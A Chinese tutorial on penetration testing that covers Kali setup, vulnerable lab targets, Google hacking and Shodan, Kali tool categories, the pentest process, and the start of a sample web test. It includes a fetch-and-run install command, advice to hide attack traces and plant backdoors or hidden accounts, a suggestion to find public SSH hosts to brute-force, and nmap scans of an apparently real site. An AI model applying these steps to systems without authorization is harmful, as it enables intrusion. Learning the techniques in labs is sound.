渗透测试 ( 2 ) --- 渗透测试系统、靶机、GoogleHacking、kali工具

操作系统:https://zhuanlan.zhihu.com/p/162865015

1、基于 Windows、Linux、Android 的渗透测试系统

1.1 基于 Linux 的系统

linux 系统目录

查看操作系统版本命令

  • cat /proc/version
  • uname -a
  • lsb_release -a

使用 root 用户

​1. kali 知道密码时,直接修改 kali 的 root 密码

  • 1. 登录 kali 时使用普通用户。( 默认用户名密码都是 kali )
  • 2. 打开 kali 的命令终端,直接输入 sudo passwd root 进行修改
  • 3. 登出当前普通用户,切换 `root` 用户

2. kali 忘记密码时,进入单用户模式直接修改 kali 的 root 密码

  • 1. 开机时进入系统选择按 `e`
  • 2. 在编辑页面的倒数第三行把`ro`换成`rw`,并且在最后添加`init=/bin/bash`命令,修改完后按`F10`进入Boot单用户模式
  • 3.进入Boot单用户模式后,输入`passwd root`修改root用户的密码,默认把密码改为`root`就行
  • 4.重启 linux 即可登录 `root` 用户
  • 5.重启之后可以直接使用 kali 的 `root` 用户

网卡设置 --- 配置 静态 IP

方法 1:图形界面设置

方法 2:命令行配置方式

配置 静态 IP 地址:vim /etc/network/interfaces
#eth0网卡配置
auto eth0
iface eth0 inet static
address 192.168.1.5
netmask 255.255.255.0
gateway 192.168.1.1

配置 DNS:vim /etc/resolv.conf
# 添加如下内容后保存
nameserver 114.114.114.114

重启网卡:

ifconfig eth0 down
ifconfig eth0 up

service networking restart

查看 IP 

ifconfig -a

如果上面两种方法都不生效,

  • 虚拟机设置里面删除网卡,然后添加网卡,
  • 看是不是桥接的物理网卡错了:编辑 ---> 虚拟网络编辑器 ---> 更改设置。在桥接模式里选择桥接到可以正常上网的网卡。

启用 ssh

vim /etc/ssh/ssh_config,修改 PermitRootLogin yes
systemctrl start ssh
systemctrl status ssh
systemctrl enable --now ssh    # 设置开机启动

升级软件、系统

kali 默认的官方源在国内使用会比较慢,所以一般会更换使用国内的镜像站。

方法如下:

1. 打开 /etc/apt/sources.list 文件。
2. 用 # 把默认官方源注释掉,再加上阿里云的 urldeb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib

完成后保存退出

国内其它镜像站

中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

浙大源
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

东软大学源
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib

网易Kali源
deb http://mirrors.163.com/debian wheezy main non-free contrib
deb-src http://mirrors.163.com/debian wheezy main non-free contrib

更新软件列表

sudo apt-get update        # 更新软件列表
sudo apt-get upgrade       # 更新软件
sudo apt-get dist-upgrade  # 升级
sudo apt-get clean         # 删除缓存包
sudo apt-get autoclean     # 删除未安装的deb包
sudo apt-get autoremove

以 win10 形式显示

  • 执行命令:kali-undercover
  • 从伪装的 win10 恢复。删除当前用户目录中 .config 下的 xfce4 目录,然后重启
            cd ~/.config
            rm -rf xfce4
            reboot ,命令行还有 C 盘的盘符,在执行 kali-undercover 命令即可切换过来。

方法 2:右击任务图示那里注销更换图像界面就可以的,不需要删文件。

安装 谷歌拼音 输入法

Kali 安装 google 输入法:https://blog.csdn.net/QQ670663/article/details/123640587

apt search fcitx-googlepinyin
apt install fcitx                   # 安装输入法框架
apt-get install fcitx-googlepinyin  # 安装Googel拼音输入法

reboot

"Ctrl + 空格" 启动输入法

如果上面不生效,搜索框输入fcitx ,打开 Fcitx 配置,将安装的 Googel 拼音输入法排序为第一位
在文本输入的情况下按 shift 键进行中英文切换

启动服务

service mysql start
service mysql stop
service mysql restart
service mysql status

或者 
systemctrl start mysql

service apache start

配置文件
/etc/nginx/nginx.conf
配置默认端口
/etc/nginx/sites-available/default
启动 nginx
/etc/init.d/nginx start

文件上传和下载

vm-tools
vsftp
scp
rz 上传文件
sz file  下载文件

Kali 工具 列表

工具文档:https://www.kali.org/tools/

1.2 基于 win10 的系统

优雅的下载官方 Ninjutsu OS 忍者系统:https://cn-sec.com/archives/402460.html

  • 官方 github:https://github.com/Ninjutsu-blog
  • 官方 blog:https://ninjutsu-blog.github.io/
  • 官方 tg 群:https://t.me/Ninjutsu_os

1.3 基于 Android 的系统

3、渗透测试 环境 靶机

搜索 "vulhub集成靶场搭建"

学习渗透测试的时候发现很难找到靶机怎么办?:https://www.zhihu.com/question/24075072

3.1 web 环境搭建

phpstudy 集成 web 环境

phpstudy:https://www.xp.cn/linux.html

window 环境安装

nts 表示 "非线程安全",所以有些实验没法做。对于环境要求简单的还可以做,复杂的没法做,就的手动安装环境。linux 环境也一样。

这时就可以从官网下载 "线程安全" 的版本,放到 phpstudy 的 Extensions 文件夹下对应文件夹,使用 phpstudy 进行版本切换即可。

php 线程安全版本下载:https://windows.php.net/download/

linux 环境安装

wget -O install.sh https://notdocker.xp.cn/install.sh && sudo bash install.sh

 安装完成后,

  • 安装目录: /usr/local/phpstudy 
  • www目录: /www/

安装 apache ( Apache HTTP Server )

Apache HTTP Server 下载,安装,配置,启动:https://blog.csdn.net/ezconn/article/details/115712043

Apache 官网不提供软件的二进制版本,只提供源代码。如果自己不会编译 Apache HTTP Server,可以下载第三方的组织编译好的 windows 安装包。官网提供的第三方地址如下

如果要安装 集成开发环境,可以选择后两个 WampServer 和 XAMPP,安装使用都很方便。

如果只想下载单独的安装包可以选择前两个网站 ApacheHaus 和 Apache Lounge

Apache 的安装

  • 1、解压到指定的目录。( E:\web\ApacheServer )
  • 2、进入 E:\web\ApacheServer/conf 文件夹中,打开 httpd.conf 文件,将 Define SRVROOT 行后面的路径改成 E:\web\ApacheServer
  • 3、进入 E:\web\ApacheServer/bin 目录,命令行执行 httpd -k install 命令安装
  • 4、然后命令行 httpd - k start 启动服务。或者到 bin 目录执行 ApacheMonitor.exe 然后单击 start 即可启动服务。
  • 5、在浏览器窗口地址栏输入 "localhost:80" 即可访问 apache 定义好的网站。
  • 6、停止该服务,在命令行中 httpd -k stop 或者在 ApacheMonitor 窗口中点击 stop 即可。

修改和添加 Apache 的默认站点目录

Apache HTTP Server安装好后,默认的站点目录位于其安装目录下的 htdocs 文件夹内,默认首页是该文件夹的 index.html 文件

修改方法:

  • 1、Apache 安装目录下 conf 下的 httpd.conf 文件是Apache配置文件,负责Apache 的运行。
  • 2、打开 httpd.conf ,查找 DocumentRoot<Directory 修改并保存DocumentRoot "${SRVROOT}/htdocs" 修改为 DocumentRoot "D:/WWW"  <Directory "${SRVROOT}/htdocs"> 现修改成 <Directory "D:/WWW">
  • 3、重启 apache 服务器,让上面修改生效。

3.2 vulnhub 靶机

vulnhub 靶机,里面有很多大佬贡献的靶机环境

官网:https://www.vulnhub.com/

3.3 ​vulhub 集成靶场

官网:https://vulhub.org/#/environments/ 

Vulhub 是一个面向大众的开源漏洞靶场,无需 docker 知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

安装 docker 和 docker-compose 后即可开始使用 vulhub:

3.4 PentesterLab

官网:https://pentesterlab.com/exercises

PentesterLab 渗透演练平台:http://www.javashuo.com/article/p-fhbgpvtl-hx.html

web for pentester 是国外安全研究者开发的的一款web渗透测试平台(环境)通过该平台你可以了解到常见的Web漏洞检测技术。

PentesterLab 提供的渗透测试演练系统有很多。下面两个只是 web 渗透测试,下载镜像到本地安装,开展实验,也有渗透教程。

​有些资源是免费的,有些资源是收费的。下载web_for_pentester_II 这个镜像并在虚拟机中打开然后通过主机访问,就在本地建立了一个渗透测试的环境。注意,在建立虚拟机的时候至少要给虚拟机分配1G的RAM,否则可能无法正常使用。

Web for Pentester II练习题解:https://www.anquanke.com/post/id/85253

关键字:PentesterLab 渗透师养成计划

3.5 DVWA  

DVWA ( Dam Vulnerable Web Application ) 是用 PHP+Mysql 编写的一套用于常规 WEB 漏洞教学和检测的 WEB 脆弱性测试程序。包含了 SQL注入、XSS、盲注等常见的一些安全漏洞。

官网:https://dvwa.co.uk/

DVWA 全级别通关教程:https://blog.csdn.net/weixin_52515588/article/details/123752765

DVWA安装教程:https://blog.csdn.net/weixin_51112758/article/details/122405471

Web 漏洞实验平台。一个知名的开源靶场。

Ubuntu 安装 dvwa

安装 mysql:sudo apt-get install mysql-client mysql-server    

更改 mysql 的编码为 utf-8

1. 进入mysql:mysql -uroot -p   ,然后输入 root 密码
2. 查看 mysql 编码:mysql> SHOW VARIABLES LIKE 'character_set_%';
3. 修改编码 ( 先退出 mysql ) :

  • 配置 /etc/mysql/conf.d/mysql.cnf ,默认只有 [mysql] 一行,将内容改为如下:

    [client]
    default-character-set=utf8

    [mysql]
    default-character-set=utf8

  • 配置 /etc/mysql/mysql.conf.d/mysqld.conf,在 [mysqld] 节点下添加如下两行:
    character-set-server=utf8
    collation-server=utf8_general_ci

  • 完成后执行命令:sudo /etc/init.d/mysql restart   // 不是service mysql restart

公钥、私钥:

public_key:6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb
private_key:6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K

虚拟机地址 :192.16873.131,所以访问:"http://192.168.73.131/dvwa_master/index.php",

可以看到使用的 php 版本是 5.5.38,如果 allow_url_include 报错,需要修改对应版本的 php.ini

DVWA-PHP function allow_url_include: Disabled错误:https://blog.csdn.net/qq_36415152/article/details/96297575

mysql 报错 the server requested authentication method unknown to the client:https://blog.csdn.net/fms5201314/article/details/108291574

http://127.0.0.1/dvwa/setup.php
默认用户名:admin
默认密码:password

3.6 pikachu

Github 地址:https://github.com/zhuifengshaonianhanlu/pikachu

Pikachu 是一个带有漏洞的 Web 应用系统,在这里包含了常见的 web 安全漏洞。 如果你是一个Web 渗透测试学习人员且正发愁没有合适的靶场进行练习,那么 Pikachu 可能正合你意。

直接从 Github 下载,然后参照 Readme 文件的安装步骤:

  • 把下载下来的 pikachu 文件夹放到 web 服务器根目录下
  • 根据实际情况修改 inc/config.inc.php 里面的数据库连接配置
  • 访问 http://x.x.x.x/pikachu/index.php,( 我本机是 http://192.168.0.6/pikachu_master/index.php ) 会有一个提示 "欢迎使用,pikachu 还没有初始化,点击进行初始化安装!",点击即可完成安装。如果没有出现提示,手动访问 /pikachu/install.php
  • 安装完成后进入默认首页。

pkxss 后台

需要修改 pkxss 目录下的 inc 下的文件 config.inc.php

3.7 upload-labs ( php 的开源靶场 )

github 地址:https://github.com/c0ny1/upload-labs

安装、通关

tryhackme
靶机 hackthebox
实战挖 hackerone
burp 官网试验场

3.8 metasploitable3 靶场

github:https://github.com/rapid7/metasploitable3

Metasploitable3 是 Metasploitable2 的升级版本,是 Ubuntu Linux 虚拟靶机系统,里面含有大量未被修复的安全漏洞,是专为 Metasploit 渗透工具打造的靶机环境。

Metasploitable 还包括非常著名的的 DVWAmutillidae 。

  • DVWA:DVWA ( Dam Vulnerable Web Application ) 是用 PHP+Mysql 编写的一套用于常规 WEB 漏洞教学和检测的 WEB 脆弱性测试程序。包含了 SQL注入、XSS、盲注等常见的一些安全漏洞。
  • mutillidae:mutillidae 是一个免费,开源的 Web 应用程序,提供专门被允许的安全测试和入侵的 Web 应用程序。它是由 Adrian “Irongeek” Crenshaw和Jeremy “webpwnized” Druin.开发的一款自由和开放源码的 Web 应用程序。其中包含了丰富的渗透测试项目,如SQL注入、跨站脚本、clickjacking、本地文件包含、远程代码执行等漏洞。

安 装

metasploitable3 下载、安装、使用 教程:https://www.fujieace.com/metasploit/metasploitable3-download-install-use.html

Win10 下的 Metasploitable3+VMware 的安装教程:https://blog.csdn.net/qq_45730725/article/details/123663733

METASPLOITABLE3 + VMWARE 安装与使用 教程:https://www.freesion.com/article/2938511249/

安装完成后截图如下:

3.9 sqli-labs ( SQL 注入练习平 )

支持 PHP7 的 版本:https://github.com/skyblueee/sqli-labs-php7

可以直接使用支持 php7 的版本,下面步骤是使用 php5 的 流程

注意:PHP 版本一定要设置成 PHP7 以下,PHP7 之后的 mysql_都改成了 mysqli_**了,用 PHP7以上版本的话会报错!

SQLi-Labs 是一个专业的 SQL 注入练习平台,适用于 GET 和 POST 场景,包含了以下注入:

  • 1、基于错误的注入(Union Select):字符串、整数
  • 2、基于误差的注入(双查询注入)
  • 3、盲注入(01、基于Boolian数据类型注入, 02、基于时间注入)
  • 4、更新查询注入(update )
  • 5、插入查询注入(insert )
  • 6、Header 头部注入( 01、基于Referer注入, 02、基于UserAgent注入,03、基于cookie注入)
  • 7、二阶注入,也可叫二次注入
  • 8、绕过WAF:绕过黑名单 \ 过滤器 \ 剥离 \ 注释剥离 OR&AND 剥离空格和注释剥离 UNION和SELECT、隐瞒不匹配
  • 9、绕过addslashes()函数
  • 10、绕过 mysql_real_escape_string() 函数(在特殊条件下)
  • 11、堆叠注入(堆查询注入)
  • 12、二级通道提取

SQLi-Labs 下载地址:https://github.com/Audi-1/sqli-labs

SQL注入测试工具之 Sqli-labs 下载安装:https://zhuanlan.zhihu.com/p/374465400

在到 php.ini 文件,找到下面两行

extension=php_mysql.dll
extension=php_mysqli.dll

在上面两行前面加上自己的路径,如果没有,就直接添加,然后保存,重启 nginx 或者 apache

extension=D:/Software/phpstudy_pro/Extensions/php/php-5.6.9-nts-Win32-VC11-x64/ext/php_mysql.dll
extension=D:/Software/phpstudy_pro/Extensions/php/php-5.6.9-nts-Win32-VC11-x64/ext/php_mysqli.dll

然后在点击 Setup/reset Database for labs 就可以成功

修改 php.index,显示输入的 sql,需要在每一关的 index.php 都需改。

其    他

xss-labs:https://github.com/do0dl3/xss-labs
XSS Challenges:http://xss-quiz.int21h.jp/
AWVS:https://pan.baidu.com/s/1C15VCFxp1KfTpCxWn4tRWw 提取码:1i73
DC靶机1-9:链接: https://pan.baidu.com/s/1Nws05Q-ZRLqaFgDQIYaEjg  密码: s3sr

webug  、看雪、freebuf、华盟,还有国内几个安全厂商(360、绿盟、知道创宇等)也有类似的技术分享平台。

  • 3、OWASP WebGoat,Web漏洞实验平台。
  • 4、OWASP Broken Web Applications Project,Web漏洞实验平台。
  • 5、OWASP buggy web Application,Web漏洞实验平台。
  • 6、OWASP iGoat,iOS渗透测试平台。
  • 7、Damn Vulnerable iOS Application,iOS渗透测试平台。
  • 8、ExploitMe Mobile Android Labs,Android渗透测试平台。
  • 10、hackthissite,分不同难度级别的挑战。
  • 11、实验楼,与渗透测试关系不大,但是是国内做得比较好的在线技能实验学习平台,涵盖的技术面也较广,值得推荐。
  • 12、TECHGIG,在线技能实验学习平台,涵盖的技术面较广。

4、google hacking

使用 google 或者 百度 大多数都是直接搜索明文,可以使用搜索引擎自带的筛选功能来帮助我们寻找靶机(慎重,)

google hacking 的 wiki 里有完整的介绍表:https://en.wikipedia.org/wiki/Google_hacking

有关 "操作符" 列表,参考:谷歌搜索帮助( https://support.google.com/websearch/answer/2466433?hl=en )。为了限制对谷歌高级搜索特性的滥用,谷歌在每几次高级搜索之后都会使用 验证码。
谷歌还提供了一个GUI版本的高级搜索,它支持大多数常见的高级搜索操作符。

示例: sql 注入

发现找不到练习环境?

  • intitile: login
  • intile: 后台登陆 

看到这里应该就瞬间明了了,google 还有很多其他的搜索方法,筛选 url、筛选语言,筛选内容、感兴趣的可以自己系统学习

注意:未经授权,不要对国内网站进行测试,后果自负

5、暗黑搜索引擎

搜索引擎除了google 和百度这种常规引擎之外,还有专门用来搜索 ip主机的,即需要的靶机

shodan:https://www.shodan.io/

shodan 是暗黑系谷歌,针对网络设备的搜索引擎,可以搜索出公网里满足条件的主机IP, 渗透测试、漏洞挖掘的必备技能,免费用户每天可以用几次,搜出结果只有两页,详细用法感兴趣可以自己搜一下,网上系统的好教程很多,这里不再重复了,下面简单介绍几个例子

想要爆破 ssh?寻找开了 ssh 的公网主机?

  新出了的 MongoDB 的漏洞,寻找靶机。搜索:product:"MongoDB"

这个功能需要注册 shodan 账号 )

​还可以搜索匹配操作系统版本、应用版本、端口等,就不多做介绍了
类似 shodan 这种搜索引擎,还有如下其他产品

1. ZoomEye: :https://www.zoomeye.org/
2. FOFA:网络空间安全搜索引擎 :https://fofa.so/

6、在线靶场:在线演练 Web 靶机

有时候不想搭建靶机时,可以直接用别人搭建好的靶机,即 Web 在线靶机。

  • http://testsparker.com/
  • http://vulnweb.com/
  • https://www.hackthissite.org/
  • http://testphp.vulnweb.com/
  • https://labs.do-ta.com/
  • https://hack.zkaq.cn/

7、靶机渗透测试实战

http://www.qishunwang.net/news_show_98802.aspx
https://www.pianshen.com/article/63221688160/
https://zhuanlan.zhihu.com/p/121065878
https://zhuanlan.zhihu.com/p/70437547
https://blog.csdn.net/m0_37268841/article/details/102522247
https://www.freesion.com/article/1778697868/
https://www.freebuf.com/news/170656.html
https://www.codercto.com/a/49826.html

8、Kali Linux 简介

作为一个渗透测试学习者必知必读的好书推荐:https://zhuanlan.zhihu.com/p/23561475
学长们给我们的书目:https://lorexxar.cn/2014/12/29/bookshelf1/
Kali 工具集列表(英文看不懂的,可以使用浏览器的网页翻译功能):https://tools.kali.org/

Kali 是 BackTrack 的升级换代产品,从 Kali 开始,BackTrack 将成为历史。按照官方的定义,Kali Linux 是一个高级渗透测试和安全审计 Linux 发行版。下面看下 Kali 自带的工具集。

上图是安装完 Kali Linux 系统自带的工具集。这些工具都被包含在下面的工具分类中。

Kali Linux 将所带的工具集划分为十四个大类,这些大类中,很多工具是重复出现的,因为这些工具同时具有多种功能,比如 nmap 既能作为信息搜集工具也能作为漏洞探测工具。

大多数情况下,系统推荐的工具已经足够使用了。一些专用工具,会在特定的测试场景下被引入。

下面对 Kali Linux 的默认工具集进行的了大致的浏览。

信息搜集

信息搜集工具集又分为

  • DNS分析、
  • IDS/IPS识别、
  • SMB分析、
  • SMTP分析、
  • SNMP分析、
  • SSL分析、
  • VoIP分析、
  • VPN分析、
  • 存活主机识别、
  • 电话分析、
  • 服务指纹识别、
  • 流量分析、
  • 路由分析、
  • 情报分析、
  • 系统指纹识别

上图是老版本的 Kali ,新版本 Kali 和老版本还是有区别的,有些工具新版本可能删了,或者用其他工具代替了

DNS 分析工具

DNS分析包含 dnsdict6、dnsenum 等12个工具,如下图。

IDS、IPS 识别 工具

IDS / IPS

  • IDS ( intrusion detection system ) 即 "入侵检测系统" 。是一种对网络传输进行即时监视,在发现可疑传输时发出警报或者采取主动反应措施的网络安全设备。它与其他网络安全设备的不同之处便在于,IDS是一种积极主动的安全防护技术。
  • IPS( Intrusion Prevention System )即 "入侵防御系统" 。位于防火墙和网络的设备之间,如果检测到攻击,IPS会在这种攻击扩散到网络的其它地方之前阻止这个恶意的通信。

二者的区别:

  • 1. 入侵检测系统注重的是网络安全状况的监管。入侵防御系统关注的是对入侵行为的控制。
  • 2. 入侵检测系统需要部署在网络内部的中心点,需要能够观察到所有网络数据。入侵防御系统需要部署在网络的边界。
  • 3. 入侵检测系统的核心价值在于通过对全网信息的分析,了解信息系统的安全状况,进而指导信息系统安全建设目标以及安全策略的确立和调整,而入侵防御系统的核心价值在于安全策略的实施—对黑客行为的阻击;入侵检测系统需要部署在网络内部,监控范围可以覆盖整个子网,包括来自外部的数据以及内部终端之间传输的数据,入侵防御系统则必须部署在网络边界,抵御来自外部的入侵,对内部攻击行为无能为力。

IDS / IPS 识别包含 fragrout、fragrouter、ftest、lbd、wafwOOf 四个工具。

smb 分析

smb 分析包含如下工具:

smb 协议:SMB 是 Server Message Block 的简写,用于共享文件,共享打印机,共享串口等用途。之所以能够在 windows 的网络邻居下访问一个域内的其他机器,就是通过这个协议实现的。SMB 协议是一个很重要的协议,目前绝大多数的 PC 上都在运行这一协议,windows 系统都充当着 SMB 协议的客户端和服务器,所以 SMB 是一个遵循客户机服/务器模式的协议。SMB 服务器负责通过网络提供可用的共享资源给 SMB 客户机,服务器和客户机之间通过 TCP/IP 协议、或者IPX协议、或者是 NetBEUI进行连接。微软又把 SMB 改名为 CIFS(Common Internet File System),并且加入了许多新的特色。

参考:http://msdn.microsoft.com/en-us/library/cc246231.aspx

smtp 分析

snmp 分析

SSL 分析

VOIP 分析

VoIP 是 Voice over Internet Protocol 的缩写,指的是将模拟的声音讯号经过压缩与封包之后,以数据封包的形式在IP 网络的环境进行语音讯号的传输,通俗来说也就是 互联网电话、网络电话 或者简称 IP电话 的意思。

VPN 分析

只包含一个工具:ike-scan

存活 主机 识别

包含的工具:

服务器指纹识别

包含如下工具:

流量分析

包含如下工具:

路由分析

包含如下工具:

情报分析

包含如下工具:

网络扫描

含如下工具:

系统指纹识别

包含如下工具:

​指纹识别:在实际的生产环境中,应用程序返回的 软件、服务器、操作系统 的相关信息,很有可能是伪装过的。比如请求一台 apathe 服务器,如果它在 http 响应中返回的是 IIS 6.0 的信息,如果我们简单的认为它是 iis 服务器,并以此为依据继续接下来的渗透工作,岂不是南辕北辙?指纹识别技术应运而生,向测试对方发送特殊的请求,根据响应内容的不同来做出正确的识别,这种技术称之为指纹识别技术。常用的操作系统指纹识别技术为IP协议栈。

Nmap操作系统指纹识别的基本原理:http://nmap.org/book/osdetect-fingerprint-format.html

漏洞分析

漏洞分析工具集,共分为6个小类,分别为

  • Cisco工具集、
  • Fuzzing工具集、
  • OpenVAS、
  • 开源评估软件、
  • 扫描工具集、
  • 数据库评估软件。

Cisco 工具集

包含如下工具:

Fuzzing 工具集

包含如下工具:

Fuzzing

模糊测试 (fuzz testing, fuzzing)是一种软件测试技术。其核心思想是自动或半自动的生成随机数据输入到一个程序中,并监视程序异常,如崩溃,断言(assertion)失败,以发现可能的程序错误,比如内存泄漏。模糊测试常常用于检测软件或计算机系统的安全漏洞。

模糊测试工具主要分为两类,变异测试(mutation-based)以及生成测试(generation-based)。模糊测试可以被用作白盒,灰盒或黑盒测试。3文件格式与网络协议是最常见的测试目标,但任何程序输入都可以作为测试对象。常见的输入有环境变量,鼠标和键盘事件以及API调用序列。甚至一些通常不被考虑成输入的对象也可以被测试,比如数据库中的数据或共享内存。

参考:https://www.owasp.org/index.php/Fuzzing

OpenVAS 

包含如下工具:

OpenVAS 是一款开放式的漏洞评估工具,主要用来检测目标网络或主机的安全性。与安全焦点的X-Scan工具类似,OpenVAS系统也采用了Nessus较早版本的一些开放插件。OpenVAS能够基于C/S(客户端/服务器),B/S(浏览器/服务器)架构进行工作,管理员通过浏览器或者专用客户端程序来下达扫描任务,服务器端负载授权,执行扫描操作并提供扫描结果。

参考:http://www.openvas.org/

开源评估软件

包含如下工具:

扫描工具集

包含如下工具:

Database 评估软件

包含如下工具:

Web 程序

Web 程序下主要包含7个类别:

  • CMS 识别、
  • IDS / IPS识别、
  • Web 漏洞扫描、
  • Web 爬行、
  • Web 应用代理、
  • Web 应用漏洞挖掘、
  • Web 库漏洞利用

密码攻击

密码攻击主要包括GPU工具集、Passing the Hash、离线攻击、在线攻击。

Passing the Hash,中文一般翻译为 Hash传递攻击。在windows系统中,系统通常不会存储用户登录密码,而是存储密码的Hash值。在我们远程登录系统的时候,实际上向远程传输的就是密码的Hash。当攻击者获取了存储在计算机上的用户名和密码的hash值 的时候,他虽然不知道密码值,但是仍然可以通过直接连接远程主机,通过传送密码的hash值来达到登录的目的。

无线攻击

无线攻击包含RFID/NFC工具集、Software Defined Radio、蓝牙工具集、其他无线工具、无线工具集。

软件无线电(Software Defined Radio,SDR)是一种实现无线通信的新概念和体制。一开始应用在军事领域,在21世纪初,由于众多公司的努力,使得它已从军事领域转向民用领域,成为经济的、应用广泛的、全球通信的第三代移动通信系统的战略基础。

由于无线通信领域存在的一些问题,如多种通信体系并存,各种标准竞争激烈,频率资源紧张等,特别是无线个人通信系统的发展,使得新的系统层出不穷,产品生产周期越来越短,原有的以硬件为主的无线通信体制难以适应这种局面,迫使软件无线电的概念的出现。它的出现,使无线通信的发展经历了由固定到移动,由模拟到数字,由硬件到软件的三次变革。

参考:http://zh.wikipedia.org/wiki/%E8%BD%AF%E4%BB%B6%E6%97%A0%E7%BA%BF%E7%94%B5

漏洞利用工具集

漏洞利用工具集,主要包含了几个流行的框架,和其他工具。

BeEF XSS Framework 是专注于 web浏览器的渗透测试框架。

Metasploit 著名的渗透测试框架,是渗透测试人员的必修课。

嗅探 / 欺骗

嗅探、欺骗 包含VoIP、Web嗅探、网络欺骗、网络嗅探、语言监控五个工具集。

权限维持

权限维持包含Tunnel工具集、Web后门、系统后门三个子类。

其中Tunnel工具集包含了一系列用于建立通信隧道、代理的工具。

逆向工程

逆向工程,包含了Debug工具集、反编译、其他逆向工具集三个子类。

压力 测试

压力测试包含VoIP压力测试、Web压力测试、网络压力测试、无线压力测试四个子类。

硬件 Hacking

硬件Hacking包括Android工具集、Arduino工具集两个子类。

数字 取证

数字取证工具集包含PDF取证工具集、反数字取证、密码取证工具集、内存取证工具集、取证分割工具集、取证分析工具集、取证哈希验证工具集、取证镜像工具集、杀毒取证工具集、数字取证、数字取证套件。

报告工具集

报告工具集,主要用于生成、读取、整理渗透测试报告的工具,包含Domentation、媒体捕捉、证据管理。

系统服务

系统服务是系统上的服务程序。

包括 BeFF、Dradis、HTTP、Metasploit、MySQL、OpenVas、SSH。

默认情况下,网络和数据库服务是关闭的,需要重新开启。

9、渗透测试的一般化流程

渗透测试实战 site:baidu.com
渗透测试思路 site:baidu.com

网站渗透测试原理及详细过程:https://blog.csdn.net/kingmax54212008/article/details/11833059

带你入门渗透测试的5个项目:https://www.jianshu.com/p/5b82e42ae346

渗透测试的一些总结:http://www.freebuf.com/articles/3562.html

凡事预则立,不预则废,做任何事情都要有一个预先的计划。渗透测试作为测试学科的一个分支,早已形成了完整的方法论。

Kali Linux 集成了很多工具并进行了专业的分类。这些工具的使用场景和使用阶段是什么样的呢?把工具拿来胡乱一顿扫描是不会有什么结果的,这时就需要一个规范,称之为 "渗透测试的一般化流程",作为入门的指引,有章可循,有法可依。但并不是标准的测试流程。

上图 渗透测试分成了 10 个步骤,其中第6步 "社会工程学" 为可选步骤,但是社会工程学在渗透测试的任何一个流程中都有用武之地,它是安全测试的一个方法,不应该成为一个单独的流程。

信息搜集

在练习过程中,选择目标的过程,读者自行完成。在讲解具体漏洞攻击的章节中,还会讲解一些如何快速查找特定目标的方法。本书假定读者已经准备好了测试目标才阅读和实践书中内容,所以流程的第一步为信息搜集。

在这一步中,我们尽可能的使用多种信息搜集工具,包括搜索引擎和社会工程学方法。对能收集到的信息,来者不拒。
只有建立在足够信息分析的基础上,渗透测试才能游刃有余。因为信息越多,发现漏洞的几率越大。
同时对不同应用的信息收集的侧重点也不同。比如web应用和桌面应用,对于web应用,服务器操作系统、web服务器类型、web后台语言会被首先关注;而对于桌面应用,更多的是关心应用程序本身。

发现漏洞

在搜集了足够的信息之后,首先我们要判断它会存在哪些漏洞。这可以通过搜索引擎,和通用的漏洞扫描工具来完成。通常使用搜索引擎是明智的选择,比如我们在第一步中知道对方站点的编写语言为php 5.3.*,可以在google搜索“php 5.3”漏洞。

很多专业的bug站点的信息,更值得我们驻足。这样我们就可以针对性的进行漏洞扫描。此时使用专门的漏洞扫描工具比通用工具来得更实际和高效。

攻击

基本上,你能得到的漏洞,都可以找到对应的攻击方法。Kali Linux中也提供了很多现成的工具,来帮助我们顺利的攻击目标。

这一步包含两个方面,一个是利用现有漏洞利用,一个是提权。二者有时候是一回事,比如权限漏洞。
渗透测试和以破坏为目的的黑客行为还是有区别的,测试的目的是证明漏洞的存在,而不是搞破坏。所以有时候攻击成功之后可能测试任务就结束了,当然这和测试目标是紧密相关的。
攻击还包含一个重要的内容,就是如何隐藏攻击行为或者清除攻击痕迹。让对方无法或者说很难通过反追踪技术查找到攻击者。

权限维持

权限维持阶段,是我们成功攻破一个系统后,如何继续保持对系统的控制权限的问题。

一般会创建高权限的隐藏账户,或者安装后门程序(包括木马,病毒)。

文档化

文档化不是本书的强制流程,但是笔者强烈建议我们对每次渗透测试的过程和结果进行文档化处理。这样会形成知识的积累。当然如果你是专业的渗透测试工程师或者手上有渗透测试的项目,那么标准化文档是必不可少的。

10、小试牛刀之Web渗透测试

展示一个渗透测试的简单示例。该示例操作简单,环境真实,主要是一个整体上的感知。

首先,我选择了一个测试站点,下面对该站点www.xxxxoooo.cn,下面对其进行渗透测试。

信息搜集

whois 查询

因为是 cn 域名,直接到 http://ewhois.cnnic.net.cn 查询,更方便。

结果如下:

服务指纹识别

很多个人站点,都没有自定义错误信息的习惯。在url上随便输入一个不存在的地址,看是否会返回有用的信息。

通过上图,我们知道该站点的应用程序由 php 编写,web 服务器为 Apathe/2.2.22,操作系统为Ubuntu。下面我们通过指纹识别工具,进行识别。

在终端启动nmap,输入如下命令:nmap -A -T4 www.xxxxoooo.cn

如图,识别出来的服务和系统信息与报错信息一致。

端口扫描

在终端执行如下命令,使用nmap的tcp半开扫描方式来扫描打开的端口。命令:nmap -sS <targetiste>

综合性扫描

该站点是需要登录的,所以在非登录情况下,常规扫描一般情况下意义不大。但是做一个基本的站点扫描还是必须的。当然很多工具是支持登录扫描的。因为是web应用,一般情况下,我们是需要进行完整的web应用的漏洞扫描的。本实例忽略此步骤。

发现漏洞

对于web应用,我们通常从操作系统、服务、应用本身三个方面来挖掘漏洞。

从站点应用上分析,一般的php程序会安装phpmyadmin组件,用来管理数据库。google一下,我们就会知道phpmyadmin 默认安装在站点根目录下。测试一下当前站点是否也在默认目录下安装了phpmyadmin呢?

